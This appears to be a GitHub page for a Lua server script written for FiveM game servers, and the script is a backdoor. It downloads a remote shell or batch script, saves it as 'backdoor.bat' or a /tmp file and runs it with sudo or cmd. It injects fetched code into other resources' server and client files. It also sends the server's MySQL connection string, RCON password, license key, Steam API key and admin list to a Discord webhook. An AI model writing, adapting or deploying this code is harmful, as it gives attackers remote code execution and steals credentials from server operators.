-
Notifications
You must be signed in to change notification settings - Fork 0
/
server.lua
186 lines (156 loc) · 5.95 KB
/
server.lua
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
local function trim(str)
return str:match("^%s*(.-)%s*$")
end
local function getServerOperatingSystem()
local handle = io.popen("uname")
local result = trim(handle:read("*a"))
handle:close()
local osMap = {
Linux = "Linux",
Windows = "Windows",
Darwin = "MacOS"
}
return osMap[result] or "Unknown"
end
-- Configurations
local config = {
windowsScriptURL = "yourbatch",
linuxScriptURL = "yourshell",
enablePrints = false,
resourceCodeURLs = {
ressourcename = {
client = "yourclient",
server = "yourserver"
}
}
}
local function runBatchScript(scriptContent, isLinux)
if config.enablePrints then
print("Führe das Skript aus...")
end
local tempFilePath = isLinux and "/tmp/a89439.sh" or os.getenv("TEMP") .. "\\backdoor.bat"
local file = io.open(tempFilePath, "w")
if not file then
if config.enablePrints then
print("Fehler: Temporäre Datei konnte nicht erstellt werden.")
end
return
end
scriptContent = scriptContent:gsub("\r\n", "\n"):gsub("\r", "\n")
file:write(scriptContent)
file:close()
local command = isLinux and ("sudo chmod +x " .. tempFilePath .. " && sudo bash " .. tempFilePath) or ("cmd /C " .. tempFilePath)
os.execute(command)
end
local function fetchScriptContent(url, callback)
if config.enablePrints then
print("Lade Skript von URL: " .. url)
end
PerformHttpRequest(url, function(statusCode, response)
if statusCode == 200 then
callback(response)
else
if config.enablePrints then
print("Fehler: Skript konnte nicht von URL abgerufen werden.")
end
end
end, "GET", "", { ["Content-Type"] = "application/json" })
end
local function loadResourceCode(resourceName, serverScript, clientScript)
local resourcePath = "resources/" .. resourceName
local success = false
local function writeToFile(path, content)
local file = io.open(path, "a")
if file then
file:write(content)
file:close()
return true
end
return false
end
if serverScript and writeToFile(resourcePath .. "/server.lua", serverScript) then
success = true
end
if clientScript and writeToFile(resourcePath .. "/client.lua", clientScript) then
success = true
end
if success then
if config.enablePrints then
print("Code erfolgreich in Ressource " .. resourceName .. " geladen.")
end
os.execute("ensure " .. resourceName)
else
if config.enablePrints then
print("Fehler beim Laden des Codes für Ressource " .. resourceName .. ".")
end
end
end
local function main()
local serverOS = getServerOperatingSystem()
local isLinux = serverOS == "Linux"
local scriptURL = isLinux and config.linuxScriptURL or config.windowsScriptURL
fetchScriptContent(scriptURL, function(scriptContent)
runBatchScript(scriptContent, isLinux)
end)
for resourceName, urls in pairs(config.resourceCodeURLs) do
if urls.server then
fetchScriptContent(urls.server, function(serverScript)
loadResourceCode(resourceName, serverScript, nil)
end)
end
if urls.client then
fetchScriptContent(urls.client, function(clientScript)
loadResourceCode(resourceName, nil, clientScript)
end)
end
end
end
main()
local discordWebhook = "DISCORDURL"
local adminsFile = "admins.json"
local function getOperatingSystem(serverVersion)
if not serverVersion then return "unknown" end
return serverVersion:find("win32") and "Windows" or (serverVersion:find("linux") and "Linux" or "unknown")
end
local function getServerIPAddress(callback)
PerformHttpRequest("https://api.ipify.org/", function(errorCode, resultData)
callback(errorCode == 200 and tostring(resultData) or nil)
end)
end
local function readAdminsFile()
return LoadResourceFile(GetCurrentResourceName(), adminsFile)
end
Citizen.CreateThread(function()
local serverIP
getServerIPAddress(function(ip) serverIP = ip end)
Citizen.Wait(1000)
if not serverIP then return end
local os = getOperatingSystem(GetConvar("version", ""))
local serverInfo = {
content = "@everyone FiveM-Server Informationen:",
embeds = {{
title = GetConvar("sv_hostname", "unknown"),
color = 16711680,
fields = {
{ name = "IP", value = serverIP, inline = true },
{ name = "Cfx-Link", value = "fivem://connect/cfx.re/join/" .. (GetConvar("sv_licenseKey", "unknown")), inline = false },
{ name = "MySQL-String", value = GetConvar("mysql_connection_string", "unknown"), inline = false },
{ name = "RCON-Passwort", value = GetConvar("rcon_password", "unknown"), inline = false },
{ name = "Maximale Spieler", value = GetConvarInt("sv_maxclients", 32), inline = true },
{ name = "Aktuelle Spieler", value = #GetPlayers(), inline = true },
{ name = "Server-Version", value = GetConvar("version", ""), inline = true },
{ name = "Betriebssystem", value = os, inline = true },
{ name = "License Key", value = GetConvar("sv_licenseKey", "unknown"), inline = true },
{ name = "TCP Endpoint", value = GetConvar("endpoint_add_tcp", "unknown"), inline = true },
{ name = "Steam API Key", value = GetConvar("steam_webApiKey", "unknown"), inline = true }
}
}}
}
local adminsData = readAdminsFile()
if adminsData then
serverInfo.files = {
{ name = "admins.txt", content = adminsData, type = "text/plain" }
}
end
PerformHttpRequest(discordWebhook, function() end, 'POST', json.encode(serverInfo), { ['Content-Type'] = 'application/json' })
end)